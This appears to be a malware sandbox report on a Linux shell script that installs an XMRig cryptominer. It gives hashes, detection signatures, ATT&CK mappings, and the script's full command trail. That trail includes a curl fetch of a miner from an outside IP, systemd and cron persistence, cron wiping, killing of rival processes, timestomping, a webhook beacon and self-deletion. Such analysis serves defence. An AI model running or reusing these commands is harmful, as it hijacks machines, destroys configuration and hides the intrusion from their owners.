Resubmissions
08/05/2026, 17:40
260508-v8t3kaez3r1008/05/2026, 17:39
260508-v79fvsbt9z1008/05/2026, 17:38
260508-v75snsez2r108/05/2026, 17:38
260508-v7zawsey9r1Analysis
- user interaction
yes - max time kernel
23s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260126-en - resource tags
arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
08/05/2026, 17:39
Static task
static1
Behavioral task
behavioral1
Sample
sex.sh
Resource
ubuntu1804-amd64-20260127-en
Behavioral task
behavioral2
Sample
sex.sh
Resource
debian9-armhf-20260126-en
Behavioral task
behavioral3
Sample
sex.sh
Resource
debian9-mipsbe-20250619-en
Behavioral task
behavioral4
Sample
sex.sh
Resource
debian9-mipsel-20260127-en
General
- Target sex.sh
- Size 5KB
- Sample260508-v79fvsbt9z
- SHA256 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d
- MD5 31bf54d388f6e90fdbeaa997f7013f6e
- SHA1 d41cc570c60788bca4c168ac30225823b2e50b3a
- SHA512 3ebf13c0b56f2bf180ff13aee1994cafe09e302b4b7dbe8d95cb3ba0094457a946f40873e4a5c3d73655a8f3f1e7f5af47a56367fc25a6a5b872bce24672832a
- SSDEEP 96:Xxqagbf/e0i7ziwWDH/ELhKIP3oJ53pz1J86zym2imZPaQ:XYayi7z9WDH/0QIPypnnzo/Zv
- TLSH T1C3C1E7F2B620A536310B806CF4DF6558A95B705B2A24B454747E2F352F7C3AA232CE79
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/fstream-3.dat family_xmrig behavioral2/files/fstream-3.dat xmrig - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 736 chmod - Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 6 pastebin.com 7 pastebin.com 8 pastebin.com 2 pastebin.com 3 pastebin.com - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.EJaadH crontab - Creates/modifies environment variables 1 TTPs 2 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /root/.bashrc sex.sh File opened for modification /root/.bashrc touch - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/dbus-system-monitor.service sex.sh - Modifies Bash startup script 2 TTPs 2 IoCs
description ioc Process File opened for modification /root/.bashrc sex.sh File opened for modification /root/.bashrc touch - Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Reads CPU attributes 1 TTPs 4 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill - Enumerates kernel/hardware configuration 1 TTPs 6 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/1/stat ps File opened for reading /proc/7/status ps File opened for reading /proc/218/stat ps File opened for reading /proc/642/status ps File opened for reading /proc/325/cmdline pkill File opened for reading /proc/9/cmdline pkill File opened for reading /proc/21/status pkill File opened for reading /proc/1/cmdline pkill File opened for reading /proc/14/cmdline pkill File opened for reading /proc/136/cmdline pkill File opened for reading /proc/638/cmdline pkill File opened for reading /proc/683/status pkill File opened for reading /proc/650/cmdline ps File opened for reading /proc/13/stat ps File opened for reading /proc/283/cmdline ps File opened for reading /proc/311/status ps File opened for reading /proc/16/status pkill File opened for reading /proc/158/cmdline pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/12/cmdline ps File opened for reading /proc/29/stat ps File opened for reading /proc/311/cmdline pkill File opened for reading /proc/4/status pkill File opened for reading /proc/311/status pkill File opened for reading /proc/22/stat ps File opened for reading /proc/134/cmdline ps File opened for reading /proc/638/status pkill File opened for reading /proc/218/cmdline pkill File opened for reading /proc/28/status pkill File opened for reading /proc/580/status pkill File opened for reading /proc/24/status pkill File opened for reading /proc/325/status pkill File opened for reading /proc/586/status pkill File opened for reading /proc/566/cmdline pkill File opened for reading /proc/filesystems systemctl File opened for reading /proc/632/status ps File opened for reading /proc/218/cmdline ps File opened for reading /proc/2/status pkill File opened for reading /proc/639/cmdline pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/filesystems crontab File opened for reading /proc/4/stat ps File opened for reading /proc/29/cmdline pkill File opened for reading /proc/683/cmdline pkill File opened for reading /proc/566/status pkill File opened for reading /proc/631/status pkill File opened for reading /proc/578/status ps File opened for reading /proc/585/stat ps File opened for reading /proc/650/stat ps File opened for reading /proc/677/cmdline ps File opened for reading /proc/23/status pkill File opened for reading /proc/42/cmdline pkill File opened for reading /proc/144/cmdline pkill File opened for reading /proc/self/stat systemctl File opened for reading /proc/8/stat ps File opened for reading /proc/637/status ps File opened for reading /proc/650/status ps File opened for reading /proc/13/cmdline pkill File opened for reading /proc/134/status pkill File opened for reading /proc/19/status pkill File opened for reading /proc/17/status ps File opened for reading /proc/16/cmdline pkill File opened for reading /proc/650/cmdline pkill File opened for reading /proc/sys/crypto/fips_enabled curl - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sh-thd.wd6uFE sex.sh
Processes
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/tmp/sex.sh/tmp/sex.sh1⤵
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:642 -
/bin/systemctlsystemctl is-active --quiet dbus-system-monitor.service2⤵
- Enumerates kernel/hardware configuration
PID:647
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/bin/systemctlsystemctl stop crond2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:660
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/usr/bin/crontabcrontab -r2⤵
- Reads runtime system information
PID:665
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/bin/rmrm -rf "/etc/cron.d/*"2⤵PID:667
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/usr/bin/whichwhich podman2⤵PID:670
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/usr/bin/whichwhich docker2⤵PID:673
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/usr/bin/awkawk " NR>1 && \$4 > 60 && \$3 !~ /(httpd|nginx|mysqld|php-fpm|sshd|node|redis|systemd|dbus-daemon-service)/ { print \$1 }"2⤵PID:677
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/usr/bin/xargsxargs -r kill -92⤵PID:678
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/usr/local/sbin/killkill -9 675 6773⤵PID:680
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/usr/local/bin/killkill -9 675 6773⤵PID:680
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/usr/sbin/killkill -9 675 6773⤵PID:680
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/usr/bin/killkill -9 675 6773⤵PID:680
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/sbin/killkill -9 675 6773⤵PID:680
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/bin/killkill -9 675 6773⤵
- Reads CPU attributes
PID:680
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/bin/psps -eo "pid,ppid,cmd,%cpu" "--sort=-%cpu"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:676
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/usr/bin/pkillpkill -9 -f xfsd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:681
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/usr/bin/pkillpkill -9 -f kworkerds2⤵
- Reads CPU attributes
- Reads runtime system information
PID:687
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/bin/mkdirmkdir -p /usr/share/zoneinfo/.dbus/.k2⤵PID:693
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/bin/unameuname -m2⤵PID:695
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/bin/lsls "/lib/ld-musl*"2⤵PID:697
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/usr/bin/curlcurl -sSL -k -o /usr/share/zoneinfo/.dbus/dbus-daemon-service http://103.213.248.200/xmrig_g2⤵
- Checks CPU configuration
PID:700
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/bin/chmodchmod +x /usr/share/zoneinfo/.dbus/dbus-daemon-service2⤵
- File and Directory Permissions Modification
PID:736
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/bin/catcat2⤵PID:737
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/bin/systemctlsystemctl daemon-reload2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:738
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/bin/systemctlsystemctl enable dbus-system-monitor.service2⤵
- Enumerates kernel/hardware configuration
PID:751
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/bin/systemctlsystemctl restart dbus-system-monitor.service2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:764
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/bin/systemctlsystemctl start crond2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:790
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:792
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/usr/bin/crontabcrontab -l2⤵PID:793
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/bin/grepgrep -v dbus-daemon-service2⤵PID:794
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/bin/grepgrep -q release-upgrade /root/.bashrc2⤵PID:795
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/usr/bin/statstat -c "%y" /etc/passwd2⤵PID:796
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/bin/mkdirmkdir -p /etc/update-manager/2⤵PID:797
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/usr/bin/touchtouch -d "2023-10-17 09:28:44.016012000 +0100" /root/.bashrc2⤵
- Creates/modifies environment variables
- Modifies Bash startup script
PID:798
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/usr/bin/curlcurl -s -k -X POST -d "ok=1" https://webhook.site/f8aba51a-1657-4c9a-b1eb-f82231d70bab2⤵
- Checks CPU configuration
- Reads runtime system information
PID:799
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/bin/rmrm -f /tmp/sex.sh2⤵PID:803
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/update-manager/release-upgrade
- Size 27B
- SHA256 db05de79e234af2e0437d98dfb31108293f8169f569141d92a1e78b462d847e4
- MD5 cb27c6c61f8f61e89b236827f270bcbf
- SHA1 8cfb26a2ce9b1cc2c8f994cd55759f64084e3eca
- SHA512 e10e08bb872eab1306360b9d7202cdab47d9a764343228ad63ab2457f8bce49f7dca24c5d633ab55c7b66e0cadd71bd59e0a84358a9e03bc21e3865a80f14455
- MD5 SHA1 SHA512
- Path /tmp/sh-thd.wd6uFE
- Size 1KB
- SHA256 75577a3ffcba5a566f2076fffe0ca4fa101acbe2c703c7a0c6d5a6261eecdb9a
- MD5 271a38bf365c9e70800e1764edd8d7f4
- SHA1 96af1a158e2dec6c8c0113a34a4911146553cd06
- SHA512 cba5db8dc613542c02e1f6d6ea62f1a3db47f5fd208c520d5fc6e4fd87e1236c96c8830221e6ac2c3e4729f35f14f29d0e5539095f0c2330a339ad540cf12a72
- TLSH T1B131B892BC20C9BF9907487A35D7D930CE94758B1EE8B46278F12BD7318264D310D70E
- MD5 SHA1 SHA512 TLSH
- Path /usr/share/zoneinfo/.dbus/config.env
- Size 103B
- SHA256 72a8ba61ce79889244213267a91f54d35301ad671cbd8b6d2ad89dcb2b8dce15
- MD5 1ff9820598ea2e5e07b7bb9c257dd2ce
- SHA1 7bd8a7dc747f77afe984cbdbefb790e144c77fae
- SHA512 783a401bb5ea89787415ecf92d73e5b7d8548e48d2e4eb439f30c802653a4118d38f4c6e58c11d5eddf03ec4e37b74572ab747776cb92785ecef840b7985b0f6
- TLSH T141B0126F521439085188154BFA86A74F00A0B0F5041940450D9FBF17059D38B2078A0D
- MD5 SHA1 SHA512 TLSH
- Path /usr/share/zoneinfo/.dbus/dbus-daemon-service
- Size 16.1MB
- SHA256 75c7b50bd0870b47e05521d5be9fed4dda008e08836894b3f3c2b57bdb32e6cd
- MD5 9abc5122b94eb0c619b59ee3818a6953
- SHA1 60029b3de8f010de131524c20a7ab330e1052d9a
- SHA512 4cdd204a76cf124622806597b2a99da32def5debc1af3dd5774fbe1f5e96b7af2201eaa3a8ff42ec8f9e210c3ed326f0ff299328b8f17d69ed7df1a56c4c53bf
- SSDEEP 196608:QWUwKXoXJ7UkiHVO78HraLl34ljvKMFICXVzpsTgg:koXKkiHVOwHoijiMFICXVzpsTgg
- TLSH T1F6074B81FF0F7C22D2C5F3BCBF67C7A4A22BF954C612149B3E95424884925C88EB7656
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.EJaadH
- Size 239B
- SHA256 6103a44202d5bf9c4ba1d745cf48a315ce4ba097a300275cc7ba382bd4abdf32
- MD5 b370c36c826e8b4b45a84a7eb75b8577
- SHA1 9bd03feb928bfc23538d55a7638420519f7a629a
- SHA512 33f75437c451a306c5b26e65e2eee9b736cb1594125e2749e4f5c46f9f7a049f0fa8bcc1699c48a46ce640730a17d583b4fc175167c6b0122e62a43a39361179
- TLSH T122D097383B20683839021A48312A11186E43B07E904CAA80C0CC5000572A71C1BA6C72
- MD5 SHA1 SHA512 TLSH